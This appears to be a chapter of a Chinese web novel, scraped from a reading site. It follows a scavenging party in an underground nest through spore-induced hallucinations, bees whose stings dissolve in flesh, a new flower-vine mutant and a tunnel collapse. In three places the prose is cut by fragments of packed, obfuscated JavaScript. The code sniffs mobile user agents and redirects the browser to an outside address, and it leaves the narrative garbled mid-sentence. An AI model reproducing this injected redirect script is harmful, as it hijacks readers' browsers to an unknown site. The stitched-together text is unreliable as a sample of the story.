“右边的路应该连着个没被封严实的出口,”蒋云霞猜测,“可能有蛇之类的玩意爬进来了。” 疯牛饶有兴致地摸出了个巴掌大小的卡扣式样品盒,挖了朵大的腐烂菇装好。 “我在群里更新下路线图。”蒋云霞说。 在她操作期间,时却的注意力被那两个不认识的陌生紫蝎抓去。 那两人一个头发略长,在后脑勺处扎了个小辫,另一个剃着板寸。 板寸紫蝎是此前时却察觉他呼吸略快的人。他这会呼吸得更加急促,脸色泛红,如同喝大了般胡乱摇晃起脑袋。 没几秒钟,他的眼神发了直,嘴巴一开一合,似在说话,实际没发出半点声音。 小辫紫蝎察觉到不对劲,拍拍板寸紫蝎的脸颊,见后者仍一副迷迷糊糊的模样,不知想到什么,脸色骤然一变,伸手去拿同伴戴在脸上的鼻腔过滤器。 其他人也不是死的,留意到情况不对,纷纷后退,远离两人。 “喂,”泥猪拧着眉头抽出一把尖刀,看样子随时准备给人来个三刀六洞,“他什么情况?” 小辫紫蝎正要说话,板寸紫蝎猛地推开他,一脚踩上腐烂菇群中的“小路”,摇摇晃晃走出几步。 “看……那里!”板寸紫蝎大叫着,背离众人所在的方位,沿着腐烂菇群,径直伸手指向仿佛深不见底的黑暗。 “有蓝色的小人在跳舞!” 喊罢,他傻乎乎地嘿嘿直笑,唱大神般,手舞足蹈起来。 众人:“……” 人的重量显然比造就这条“小路”的不知名生物更重,本就被压扁了的菌盖直接被他踩得更碎,立时显出数个脚印痕迹。 蒋云霞见多识广,反应过来:“他陷入幻觉了?你们的鼻腔过滤器有问题?” 小辫紫蝎一脸焦灼地踏进腐烂菇群中,抱住同伴的腰,半拉半拽地将人往回拖,边动作边解释: “他用的过滤器不是全新的……但按剩下来的使用时长算,应该没问题啊?!” “拖回来干什么,先打昏!” 石宇看不下去,在二人临近时抬手,想以手刀砍晕板寸紫蝎,“你们买到水货了吧……我x!” 不想乱拳打死老师傅,板寸紫蝎毫无章法乱挥的手舞到他脸上,好巧不巧地打在他的鼻子部位,正中他自己佩戴的过滤器。 大力之下,过滤器的一边系绳被扯断,掉落在地。石宇捂着鼻子,又一通大骂。柳广知赶忙给他找出了个新的戴上。 疯牛沉着脸上前接力,利落地打晕板寸紫蝎,叫小辫紫蝎将他拖到岔路口的交汇处放平。 简单察看过板寸紫蝎的情况,她有/偿/卖了颗解毒药给小辫紫蝎。 小辫紫蝎满头大汗地从随身的背包里拆了个全新的鼻腔过滤器,给板寸紫蝎戴上。 疯牛要过他们所用鼻腔过滤器的包装。 “你们买的倒不是水货,”她翻来覆去看了看那包装,“不过这个牌子出了名的便宜但品控不好,大概你们倒霉,撞上了个次品。” 小辫紫蝎露出懊悔的神情,紧张道:“他要多久能醒?多久能好。” 答话前,疯牛意味不明地瞟了时却一眼,看得时却莫名其妙。 “这是另外的价钱。”她双手抱臂对小辫紫蝎说。 等小辫紫蝎又给她转了一笔钱,她老神在在道: “你想的话,现在就能叫醒他,醒了后他估计是反应迟缓、找不着北的状态。至于好……难说,可能十几分钟,可能三五个小时。” 小辫紫蝎忍不住说:“这么久?” “鼻腔过滤器的过滤效率不高,何况你们还用的烂牌子。” 她撇头督一眼腐烂菇群所在的方位。 “如果这个巢穴的其他地方还长有这么多腐烂菇,四舍五入,相当于整个巢穴内部多少飘有腐烂菇的孢子,他虽然吃了药,但得吸着这些玩意,身体还需要不停代谢掉它们,怎么好得快?” 这下,时却知道疯牛为什么看过来了。她看的不是自己,是自己身边戴着防毒面具的沈司奥。 防毒面具的过滤效率,更注重便携的鼻腔过滤器自然比不了。 她嘴里的“十几分钟板寸紫蝎能好”,八成指的对方能戴上防毒面罩的情况。 小辫紫蝎同样反应过来,扭头看向时却三人。 蒋云霞挑了挑眉,时却伸出右手拦于沈司奥腰间,迈出半步挡在他身前。 终端的微振声响起,打破众人之间稍有凝结的氛围。 齐姐发来数条消息,说她那一行人也碰到了成片成片的腐烂菇,附近还没见到有出口。 她附上了对应的照片。 照片里,腐烂菇状似一片棕色的海洋,足够让任何密集恐怖症患者心跳加速。 不过,齐姐那边的腐烂菇群上没有蛇样的爬行痕迹。 紧跟在照片后的,是齐姐的三条消息。 【我们这孢子中毒倒了两个,戴的用过一阵的过滤器,按理说不该出事,偏偏发了疯……不过其他人没有任何不适。我们把那两个人打晕了,打算到回去时再拖走。】 【这里的腐烂菇孢子好像比外面的猛得多,可能因为是地道的关系。】 【保险起见,有富余的过滤器的话,按平时估算使用时间再减半,勤换。】 众人面面相觑。 “有什么地方不舒服没?”疯牛掰手指头,“呼吸加快?心悸?间歇性的眩晕?” 她一连报出几个症状,在场人除了躺倒的板寸紫蝎外,都说没有任何异常。 疯牛耸肩:“看着还好,八成就是地道里空气流通加运气的问题。” 泥猪看热闹不嫌事大,吹声口哨:“小辫子,找个风水宝地,让你的朋友躺去吧。” 小辫紫蝎站起身,直勾勾盯着时却三人。见状,其他人退入左边的岔路口,给四人让出地方。 小辫紫蝎报出个价钱。“换你们的防毒面具。” “不。”时却拒绝。 “双倍。” “不换。” “再加一个全新的过滤器。我欠你个人情。” 时却摇头,只针对他的前半句回道:“我们不缺。” “你想好了,”小辫紫蝎沉声,“你们三个人里,他是个拖……派不上用场,就算中毒,能有多大影响?何况不一定中毒,不是?” “我觉得有道理,”泥猪懒洋洋地拱火,“蝴蝶,这小子开了多高的保镖价码?你不如说出来,让人家参考参考。” 时却深觉泥猪此人贱得慌,欠揍得很。 她按上腰间匕首,懒得再纠缠,眼神锐利地扫一圈其他人,既是回答泥猪,又算对着所有人,直白道: “他开我的价码没人给得起。” 说罢,她定定看向小辫紫蝎,直到对方眼神一闪,经过天人交战,咬牙避开了她的视线为止。 一场冲突到底消弭于无际,小辫紫蝎一脸阴沉地背上板寸紫蝎,提出要坠在队尾。 按之前的列队,他们就要位于时却的后头。 左撇子女见状,貌似随意道:“蝴蝶,我们和你们换个位置。” 时却心知她想隔开和自己结下梁子的小辫紫蝎。 考虑已深入巢穴,不用爬行,活动得开,倒不用非逮着队尾待,时却接受了她的好意。 以柳广知和石宇为首,随后依次为时却三人、疯牛泥猪、左撇子女及其同伴、背着板寸紫蝎的小辫紫蝎的顺序,众人走入左边的岔路口。 黑暗如潮起潮落,接连地在这只队伍的后侧漫上,在这只队伍的前侧后退。 经过几个转弯,打头的石宇咦了一声。 “怎么有只这?” 时却的前头除柳广知和石宇外,还有蒋云霞和沈司奥。 隔着这四个人,她什么都看不着,等到再数步后靠近,才瞧清石宇口中的“这”为何物。 那是只垂死的猫兔,皮毛肮脏凌乱,满是灰尘,呼吸的起伏极其微弱,一副进气多出气少的模样。 它的腹部位置漫出滩血迹,一道血痕自身体的下方朝前侧的黑暗延伸而去,脖颈处的皮毛有凹陷一圈,仿佛被什么东西狠狠勒过。 蒋云霞迈出几步,照了照前路。 “全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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摸出了把小巧的镊子,疯牛示意众人散开,只留时却待在原地给她扶起猫兔的头。 她小心翼翼地一根根夹出猫兔颈部上所有的针状物,放在泥猪的“手帕”上。 “可以了,”她收起镊子,“我喷了有黏性的附着剂,你们随便看,不用担心打个喷嚏就会吹走那些针。” 疯牛的装备齐全得可怕,说完,她甚至掏出了个折叠的放大镜,顺手丢给时却。 在取针期间,猫兔失去了呼吸。 时却放下这只生命流逝了的动物,到泥猪边上去观察取出的针状物。 她将放大镜悬在被疯牛并排放置的针状物们之上,透明的视窗之中显出带倒钩结构的针样形状,再往上则是一团黄白的软体。 石宇说的没错,这的确是蜜蜂蛰后留下的尾针结构,那黄白软体是蜜蜂留下尾针时,一并被扯出其体内的内脏。 而除了石宇提出的“蜜蜂能给猫兔蛰成这样”的疑问外,让人无法忽视的事情还有一点: 不算黄白的内脏部分,疯牛取出的尾针长度各不相同,诡异地形成了由长到短的排列顺序,最长的和最短的之间差了足有一到两毫米。 诚然,有阴阳喜好各不相同的蛙藤和腐烂菇的例子在前,这或许也能用变异动物的个体差异来解释。 可…… 发现这个问题的不止时却一人。柳广知惊诧地脱口而出:“这根最短的尾针,直径看上去和最长的那根完全一样?” “断在里面了?”石宇脑袋上冒出问号,“疯牛,你技术不行啊?” “眼睛拿来出气的?近视就趁早去换眼珠子,”疯牛冷笑,“真是断在里面的,我每根都断,还能断得这么齐整,断出规律?” “总不能,”左撇子女咽了口口水,“这尾针扎进去后,能化在肉里吧?” 小辫紫蝎忽然想到什么似的,面露惊恐地看向地上不再动弹的猫兔,颤声道: “这只猫兔……它是死于肚子上的伤,还是脖子上的蛰伤?” 在场的人可都知道,最近出现在他们印象里的蛰伤,只有一种。 那就是在缓冲点边缘神出鬼没的,新型变异植物带来的蛰伤。 68. 穿地兽 蒋云霞检查一番死去的猫兔,摸着猫兔的耳朵,谨慎地选择措辞: “它肚子上的伤绝对致命,将近被开膛破肚。不过,它还发烧,脖子的情况很像之前被蛰的人……” 高热、伤口溃烂、化脓,这些全属于被那新型变异植物蛰伤后的典型表现。 “在区外肯定没法下定论,没条件,”柳广知头疼道,“真要说出个一二三,得拿去区内的研究所化验。” 左撇子女思忖:“蝎子不是说蛰伤是变异植物干的?这蜂……和那变异植物共生?它是百穿花的变种?” 石宇道:“我们可能碰上开在地底下的百穿花?” 听了一通七嘴八舌的猜想,蒋云霞看向身前未被照亮的黑暗,抿抿唇,“我还有个猜测,我们再往前走走?” 疯牛让泥猪拿了个厚实的黑袋子把猫兔的尸体装好,自己将那张粘了不少尾针的手帕卷了卷,塞进一个样品管内。 众人往前走出十几步。 蒋云霞照过前路,说存在有猫兔留下的血迹,但出于角度和视力的限制,那会大多人只能隐约看到些痕迹。 时却倒能看得更远,不过她当时的注意力多放在猫兔本身上,想着蒋云霞既往前察看又总结了一句,就没太关注。 结果如今不走不知道,一走吓一跳。 土地上的血迹斑驳而扭曲,呈现出弯弯绕绕的痕迹。那只猫兔怕是一路左突右进,鬼打墙似的到处乱撞了过来。 石宇不解:“伤这么重,能发这么久疯?” “这就是重点,我起初以为它受的伤不重,”蒋云霞道,“没受致命伤的话,蹦跶成这样倒好理解,可它肠子都快流出来了,不该那么活泼。除非……它感觉不出来。” “你怀疑蜂针可能带麻醉效果?”疯牛立刻明白过来,拎出猫兔的尸体,“像蜱虫或蚊子。” 柳广知若有所思:“听说那些被蛰的人里,没有一个发现自己什么时候被蛰。如果蜂针带麻醉,又能融化……” “做个不严谨的实验看看。”疯牛道。 她重新拿出那块粘附数根尾针的手帕,眯着眼睛看了会,割下一小块猫兔的肉,剜去皮毛部分,拿一个不过单块绿豆糕大小的样品盒装好。 她用镊子夹起一根尾针,扎进那块猫兔肉块里。尾针从一侧穿过猫兔肉块,在猫兔肉块的另一侧透出一个尖点。 疯牛将那样品管握在手心,以体温暖着,说她会每隔一分钟看看那蜂针的状态。 每个人脸上的表情均有些复杂。 “我别是个大乌鸦嘴,”左撇子女苦笑,“还指着穿地兽大赚一笔呢。” 柳广知叹气,“晚了,都走到这里,难道你甘心掉头?” ……他这话一出,时却倒马上感觉到蒋云霞的目光。这目光有问询的意思。 无论如何,蜂针的存在和腐烂菇上蛇样的爬行痕迹无不说明,这巢穴内的情况很可能比想象中来得复杂。 时却给蒋云霞一个“待定”的眼神,凑到沈司奥耳边,想问他是否改变主意需要退出。 沈司奥抢先一步摇头,点点腕上的终端。 众人继续向黑暗行进。时却唤醒终端,打开与三人的群聊,那里躺着机械师发来的消息。 【知道得多些,后面好防范。蝎子指望这趟捞一大笔区外的资源,我怀疑不一定会公布这方面的所有实情。】 他这理由在时却这并不算很有力。毕竟生死攸关,时却想再劝,不料沈司奥先一步同她发了个私聊信息: 【那只毒蜂也有可能是误入巢穴,再看看情况?】后面跟一个“拜托了大姐大”的表情包。 时却不再说什么。 约一分钟后,疯牛首次察看蜂针的情况。 “没有变化。”她说。 第二分钟,她刚松开五指,目光移到样品盒内,叫停众人。 “每根蜂针的末端连有黄白内脏,我挑选的这一根也不例外。”她晃晃手里的样品盒,盒中的猫兔肉块连带地不住滑着。 “蜂针扎在这块肉上边,那团内脏该附在上面。” ……可样品盒内,随着疯牛的动作,一小团黄白色软塌塌地在猫兔肉块边上滚动,表面没有任何连接物。 为作最终的确认,疯牛取出那一小块猫兔肉,在放大镜的帮助下拦腰切开,拿刀尖翻来覆去地找、挑,几近将其弄成肉泥,也不见半点蜂针的痕迹。 左撇子女打了一下自己嘴巴,满脸纠结:“它真的能融……” 柳广知揉揉太阳穴:“至少我们知道,为什么没一个人看到自己是被什么蛰的了。” 扎营地的边缘灯光暗淡,加上蜂针自带麻醉效果,人被蛰的时候,压根没感觉。 在此基础上,蜂针扎进人体内后不久即消失无踪的特性,更使得蜂针消失后,被蛰的人稍一动作,就会导致蜂针原本连接的那点内脏掉落。 如此,留给被蛰的人,自然只有红肿的包。如同蒋云霞生前的同伴们。 “有没有可能,融化后的蜂针才是毒素的由来?”疯牛摸摸下巴,“如果是这样,被蛰后马上拔掉蜂针……” 那些人会不会不至于死亡? 她这话没说出口,不过谁都能猜得出来。 泥猪闲闲道:“要是一会谁有幸被蛰了,可以试试,死马当成活马医。” “我有两个问题。”时却出声。她想起之前被方文文领去见过的那些病人。 “被蛰的人里,有单独起红包的,还有的像那只猫兔一样腰上被围了一圈叮。之前在变异狼身上,我也看到有这种一圈的溃烂。这是不是说明,毒蜂的攻击方式有两种?” 一种是单只蜇人,另一种是……群起而攻之? 但怎么想怎么觉得,围成一圈去蛰猎物,颇有种“仪式感很足但大可不必”的感觉。 “有可能,”疯牛合上样品盒的盖子,“但我们不搞科研,蝴蝶,只能碰见什么猜什么。” 时却:“……”也是。 “快些讨论。”蒋云霞提醒道。 她看了看终端,讲齐姐那边最新发了个定位。 不知怎地,经过一番弯弯绕绕后,齐姐那一行人正朝他们所在的方向过来。 很可能,再沿着这条道走一会,两波人会在某个位置汇合。到时候,免不了交换情报。 时却的第二个问题,是什么情况会导致这种攻击差异。 显然,按如今情报,这尚是个没法被解开的谜题。 带着疑惑,众人重新上路。 齐姐那行人在群里打开了实时的位置共享,位置共享显示,他们两波人的确正相互靠近。 没多久,最前头的石宇咦了一声。 “有光。” 三两步后,甬道毫无预兆地到达了尽头,紧衔接着一个足有中型会议室般大小的空间。 石宇口中的亮光来自众人的右侧不远处,齐姐一行人刚从一个通道里陆续走出。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14818443|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这个空间内的部分地方铺设有干草和树枝,未被/干草和树枝覆盖的地方零散分布了些个头不一的石块。 多个角落和石块的边上,存在着泥土由堆积成凹凸不平的蚂蚁窝样式的穴,如同被戳出一个个空洞的微型海滩。 那是如同蚁穴般的、琥珀虫的窝。 大概因为来人众多或光线骤亮而受了惊,密密麻麻的假琥珀虫在地面上到处乱爬,忙于归巢。 这些甲虫模样的、黑漆漆的小玩意努力挥动地着自己的六条腿,行动极为迅速,没几息全不见了踪影。 ……不过以上的这些,都不是这个空间的重点。 在微微晃动的灯光中,每个人的心神,均被位于两波人对侧最远处的两只变异动物所攫取。 这是两只穿地兽。 它们交叠在一起,一只爬在另一只的背上,被裹在半透明的淡黄色假琥珀中。 若忽略掉体型,它们和那些不慎陷落在树脂中,从而被定格于时间长河里的植物碎屑或昆虫,并无差别。 同区外地图里的描述一致,这两只穿地兽高约一米,长约一米五,形似穿山甲,拥有近菱形的棕褐色鳞片,如瓦房顶部的瓦片般层叠排列地覆满背部。 这些鳞片上无规则地残留着被锐器划过的痕迹,或是点点凹坑。 时却猜测,这大概是此前它们在界碑附近所受伤的一部分。 而之所以说是一部分,是因为视线先往它们的头部再向它们的尾巴看去,目光越过它们那本应存在五官却被褶皱所代替的滚圆肉瘤头部,越过那两片贝壳样险恶地朝外凸伸的齿牙—— 可以见到,在处于上位的穿地兽的腹部,还有着一道极为引人注目的伤口。 它沿着那只穿地兽的身长方向,自穿地兽的头部朝尾部延伸,像处理苦瓜时要先竖切一刀,好从中取瓤时所剖出的刀口,自有一股要将穿地兽一分为二的汹汹气势。 曾经淋漓但现已凝固的红褐色从这伤口中流出,滴答在下位的穿地兽的鳞甲上,形成斑驳的血色外漆。 尽管那只处在下位的穿地兽的腹部被遮挡住大半,但时却没有遗漏,它的身下蔓延出了极大一片的假琥珀。 越靠近它自身,假琥珀之下的血色便越浓郁。 时却回想了一下琥珀虫奔逃前的情况,确认刚才那一处还聚集着不少琥珀虫,它们应该就是在啃食土里的鲜血。 大概率……那处在下位的穿地兽的腹部,有着同样的伤口。 基于蒋云霞曾发表过的关于琥珀虫的食量评述,时却又仔细观察了这两只穿地兽的爪部,不出意外地发现,那只下位穿地兽的爪部略有些残缺。 嗯,琥珀虫的食量的确不大。啃了一个半月,看来主要在清理血迹。 “不是,”再次放下背上同伴的小辫紫蝎不解地开口,“这俩穿地兽临死了还在交/配?玩叠叠乐?” “区外地图没写,”接话的是不远处的齐姐,“不过重伤的时候,有的穿地兽会拿同伴鳞甲上分泌的保护液当外伤覆料用。” “这种行为很危险,尤其它同伴受了伤的情况下,会由于自身的体重而加重对方的伤势。” 蒋云霞走近几步,举灯观察:“这俩腹部的伤我有印象,是当时巡逻队设了个陷阱弄出来的……下面被压的这只没什么反抗的痕迹,它们关系不错么。” “再不错也没用,”她耸肩,“看来上面那只刚爬上去,它们就双双断了气。” 69. 坍塌 更多的人朝那两只穿地兽靠近。面对板上钉钉的两团死肉,没人会过于警惕。 就在众人围向唾手可得的战利品时,于相互交织且摇晃的人造灯光下,略显凌乱的行走声里,时却听到某种细微的黏腻响动。 该怎么去形容这样的声音? 它给人的感觉像碾压蛞蝓,或碾压蜗牛伸出壳体的部分;像拿手指伸入剥了皮的芦荟里搅弄。 它好似……诸如章鱼之类的多足软体动物,被塞入狭小陶罐中后,浸在湿润黏液里的腕足彼此交缠、蠕动、推挤,从而发出的响动。 “等一下,不对劲!” 一股毛骨悚然的感觉袭上心头,时却以为自己会发出不小的声音,结果最后冲出齿间的警告声,被她下意识压得极为低沉。 不过在这仅有脚步声的空间里,如此音量足矣。 紫蝎们止住动作,目光投注在时却身上。 蒋云霞退回时却边上,轻声问: “怎么……” 话没说完,她自己停住了。那带着湿意的声音变得更加明显,大到她也能听见。 它从众人的对面,从那两只穿地兽体内传出。 紫蝎们飞快地后撤、掏武器,远离按道理该死透了,如今却发出诡异声响的两具兽尸。 众目睽睽之下,在两只交叠穿地兽的中间位置,有什么东西耸动了一下。 它顶得穿地兽们的表皮向外不均匀地鼓起,不同位置的鳞甲无规律地、此起彼伏地微微舒张、贴合。 一朵怒放的百穿花从上位穿地兽的后方探了出来,直径足有六七十厘米,艳艳如火的花瓣无风自动,触须般的粉色花柱不断轻颤。 同个万向节似的,这诡丽的植物灵巧地拧转了几下花冠面,对着众人所在的方向,开始移动。 如同皮影戏里的角色,又好似海浪中高低漂流的浮游物,它时而上升,时而下降。 当它行至上位穿地兽的肩部,一根藤蔓从它的下侧攀附而出;在从这根藤蔓上,假琥珀以糖浆般的质地缓缓淌下。 随后,是第二根、第三根、第四根…… 不过短短几息,十数根藤蔓探出,搭于上位穿地兽身上,如蛇群般纠缠扭动。 从少数因假琥珀流下而显露出来的表皮颜色看,它们中的大多数青翠欲滴,少数呈深绿色,偶可见似将枯萎的黄绿。 无论外观如何,这些藤蔓的一端,全通向了百穿花的背面。当藤蔓挺立时,百穿花也随之被向上抬举。显然,于百穿花的背部,这二者连为了一体。 “新变种!”有紫蝎抽着冷气,脱口而出。 藤蔓们扭曲地支了起来,百穿花的高度随之上升。粉色的花柱似嗅探猎物的犬只,从花瓣的围绕之间伸长了些,犹疑地在空气中摇摆。 “别上前,必要时按来时的路退。”齐姐压着嗓子说。 “它可能靠热感应或嗅觉狩猎,感应的范围不大,对声音也不敏感。” 几个呼吸过去,这花藤复合的怪物确实无所得,困惑地收回花柱。 它没有放弃,通过花下的藤蔓似章鱼触手般蜷放,从两只穿地兽上灵巧地往下爬。 它的重量应当不轻,动作间撞歪了上位穿地兽的肩部,露出一点原本被遮挡的幽深洞口形状。 那两只重叠的穿地兽的身形,竟遮掩住了一个通道口。时却感到有细微的风往那通道口流动。 数根藤蔓携带着百穿花落了地,漫无目的地在地上检索起来,留下道道湿黏痕迹。 这新种的变异植物,随着“检索”的动作,不断地背对、侧对、正对众人。 它的全貌终于得以被拼凑出来。 除去已然得知的、百穿花的正面部分,百穿花的花托部分相对其花茎弯曲了九十度,呈L型。 并且,那花托的厚度……极为惊人,向花冠面的反侧凸伸着,仿佛一个畸形的后脑勺,除去和藤蔓相连的位置,至少厚二三十厘米,似内里还藏有着什么特殊结构。 再往下,花下藤蔓的长度不一,长的近几十厘米,是支承百穿花的主体,而短的仅十几厘米,只悬在百穿花下,也不知有什么用。 “沙沙”、“咔嚓”。 在这不大不小的空间里,新种的变异植物扭曲地爬过干草和树枝,发出如此的交织声响。 而碰到石块时,它越过其的方式是藤蔓顶高百穿花,随后再如自动洗车机上垂下的刷毛般,笼罩着掠过石块本身。 琥珀虫似乎不在它值得注意的范围内,它避过了琥珀虫的巢穴。 “它和琥珀虫共生,”沈司奥略有些失神地喃喃,“它是肉食性植物?它怎么进食?” 蒋云霞以气音道:“我只关心毒蜂在哪里,那玩意不得不防。” 时却倒不知道,沈司奥的研究欲偶尔还会扩展到生物学上。 她拉过他,凝神屏气,当藤蔓有趋势朝这边移动时,就后退。不止她一人这么做。 若以上帝视角来观看这整个过程,怕是会有些滑稽。 二十来个人哪怕手拉手围成圈,都能将这体型不算大的变异植物绕上好几圈,如今却不约而同地它进一步,我退一步。 不过当人身在其中,就知道完全不可能笑出来。 当一种可怖的未知活灵活现地在你面前动作,很可能正伺机以你完全无法知晓的手段企图进攻时,当对未知的恐惧弥散在空气里时,没人会去关心形象方面的事情,越谨慎越好。 ……情况并不乐观。 空间就那么点大,扭曲的藤蔓们很快便无意识地实现了对人类方的步步紧逼。 众人不得不近乎贴在钻出的洞口侧壁上。 察觉到在这个空间里差不多退无可退时,按照此前的分队,紫蝎们缓缓向来时的洞口内倒步。 时却率先将沈司奥塞进来时的甬道中。 她紧贴甬道的内侧壁,将沈司奥护在身后,随藤蔓碾压干草或树枝的响动而向后撤。 其他的人同样也听声辩位。 他们更加保守,后退得更多。一来二去,时却倒成了距离洞口最近的人。 藤蔓顶着百穿花游来荡去,“巡查”过一圈后,没能发现狡猾的来客们。 某一次,这变异植物经过洞口时,几根发黄的藤蔓从其百穿花的背部脱了下来,宛如死物般掉落在地上,在百穿花那厚实的花托部分留下几个空洞。 藤蔓们,竟好似是以一种插接的方式,同百穿花相连在一块的。 ……“咔嚓”和“沙沙”声稍作远去,然后消失。 时却侧耳细听一会,得出结论:“它回到原位了。” 其余人纷纷松了口气。蒋云霞在交流群里简单说明了此前一行人的发现、怀疑和猜想。 齐姐在群里发言: 【照这样看,摆在我们面前的有三条路。】 【第一条,打道回府。】 【第二条,看能不能试出那变异植物的更多情况,活下来的人负责将消息转卖给蝎子。】 【第三条,除掉它,连带穿地兽打包卖给蝎子,活下来的人赚上一大笔。】 “活下来”这三个字,作为“人”的定语,显眼地出现了两次。 经过一番讨论,二十来人中,齐姐团队以及疯牛和泥猪选择第二条路,决定试一试这新变异植物的深浅。其他人则打算原路返回,保命要紧。 带着沈司奥,时却小队自然也属于“保命要紧”的那部分。 一无所知又尚可选择的情况下,没人贸然选择第三条路。 时却心想,运气好的话,也许选择第二条路的那几个人最后能做到这一点。 【祝你们好运。】她在群里的对话框中打下这几个字,然后发出去。 在现实里,她顺嘴对疯牛说:“祝你们好运。” 疯牛极为奇特地看了时却一眼,接着未卜先知般,果断地杵了边上似乎想要说话的泥猪一胳膊肘。 那一杵显然特意没收着力,叫泥猪的表情扭曲一瞬。 “别嘴贱,要犯病也别挑这时候。”疯牛对他说。 她顿了一下,还是忍不住般对时却道: “传言没问题,你脑子的确不大好使。” 时却:“……”随便了。 于是,回程的人共计是时却三人、柳广知和石宇、左撇子女及其同伴九人。 出发时,小辫紫蝎提出要求,想背着同伴走在相对安全的最前边。 尽管来的途中和看到穿地兽时都放下过板寸紫蝎,但板寸紫蝎毕竟是个成年人,小辫紫蝎的气力在背负同伴的途中消耗掉不少。 “作为交换,我转你们一些钱。”他说。 这个交换的代价还算合理。 “蝴蝶,你反应比较快,”柳广知出声,“如果不介意的话,你殿后怎么样?我们的那部分钱分给你些。” 时却倾向于答应。 不是从挣钱的角度,而是柳广知说的的确是事实。 如果不幸发生了那变异植物追上来的事情,她有信心能比在场的任何一个人反应得快。 她问询性地看向蒋云霞和沈司奥,他们没有意见。 九人的行走顺序随即被定下: 小辫紫蝎背着同伴最先、跟着是石宇和柳广知、左撇子女和其同伴,时却三人殿后。 在他们商量期间,疯牛那边调出终端,手下飞快敲打键盘。 大群里的最后一条消息还停留在时却发的“祝你们好运”上,结合各自所做的不同选择,时却猜她应该在和齐姐商量接下来的行动。 无论如何,这与他们九人没有关系了。 两路人马无声地分道扬镳。 摇动的亮光下,照映于熟悉灰白侧壁上的人影一个接一个地行走着。 “有点落荒而逃的意味了。”左撇子女的同伴开玩笑。 “不该挣的钱不能挣,”左撇子女的心态倒还算平静,“惜命的人才长命。” 石宇揉揉眼睛:“反正采了不少腐烂菇,不算亏。” 他揉了又揉,柳广知微微皱眉:“眼睛怎么了?” “犯困,有点看不清东西。”石宇拍拍脸,试图让自己清醒一些。 “咋回事,我可没背着个人,怎么就给累着了?” 小辫紫蝎颇为无语地转头看了眼身后。 他额头覆着一层薄汗,胸膛起伏不定,脚步略为虚浮,气喘得也有些急促。 “我,呼,别拿我当话头。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832649|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 石宇敷衍地应声:“行行,你稳着点走。” 几人很快要走到长有腐烂菇群的地方。在临近那个岔路口前,石宇打起哈欠,眼角沁出一点泪花。 柳广知掰过他的肩膀,捉住他的手,严肃道:“不对劲,你从不在这种时候犯困。” “嘿嘿。” 突兀的笑声响起,回荡在幽长的甬道中。柳广知下意识停下脚步,猛地扭头朝看向身前的小辫紫蝎。 对方早他一步站定了,那笑声正是由对方口中发出。 他定睛一看,不禁右眼皮一跳。 不知何时,小辫紫蝎眼神发直,脸颊挂着两抹红晕,呆愣地盯着身侧虚空中的一点。 “不对劲!不对劲!” 小辫紫蝎高声叫嚷着,飞快地去摸腰侧的枪。 柳广知赶忙去拉石宇,不料后者只迟缓地“啊?”了一声,压根没打算动弹。 不光掏枪,小辫紫蝎还一把甩下了背上的同伴。他戴的是头灯,大动作之下光线摇晃,眩得人眼晕不已。 凌乱的亮光之下,柳广知被反应迟缓的石宇牵连,眼睁睁地看板寸紫蝎闭着眼睛径直倒来。他被撞了个正着,失去重心,不由拉着石宇也往后坐。 左撇子女和其同伴啊呀一声,各自反应不慢,分别搡了二人一把,再立即往后撤步,好悬才没避让不及,打断这场多米诺骨牌式的相撞。 时却坠在队尾最末,简直要目瞪口呆,根本想不到还能发生这种剧情。 蒋云霞眼疾手快地自己跳开了,不用她担心。她拉上一把沈司奥,将他扯到完全安全的地带。 结果这一连串兵荒马乱下来,几人要么顾自己要么顾别人,竟没一个人腾出手去制住小辫紫蝎,让他顺利掏出了枪,还拉开了保险栓。 “那里!变异毒蜂!葡萄那么大!苹果那么大!” 小辫紫蝎扯着嗓子,挥舞着持枪的胳膊。 他不管不顾,砰砰砰砰朝半空胡乱扣下扳机,接连数枪,实打实地击中甬道内灰白色的骨质侧壁。 更为糟糕的是,他击中的区域里,有差不多同属一片地方的位置。 蛛网式的裂痕沿弹孔铺开,不光霎时密密麻麻地铺满众人的头顶,还迅速地朝众人身前的黑暗延伸开去。 柳广知响亮地骂了句脏话,甩开石宇,和左撇子女齐齐扑上前,按住小辫紫蝎。 他卸掉小辫紫蝎手里的枪,完后忍不住先给他脸中央重重地来了一拳,再一个勾拳把人打晕过去。 然而为时已晚。 灰白粉末以肉眼可见的量簌簌地往下落,仿若多柱倒升的炊烟。 极为不详的噼啪响动此起彼伏地在几人的脑袋顶上炸开,然后是滚雷般的巨声一下下地炸响。 时却心凉了半截,见身后不远处的甬道顶部尚还完好,忙叫: “退!” 柳广知扯着石宇,左撇子女和其同伴分别拖起小辫紫蝎和板寸紫蝎,蒋云霞喊着快走快走,时却情急之下,简直是要把沈司奥整个人半夹半抱起来,携在身侧逃。 总而言之,尚还清醒的六人是掉头就跑。 咔嚓、嘭、轰隆! 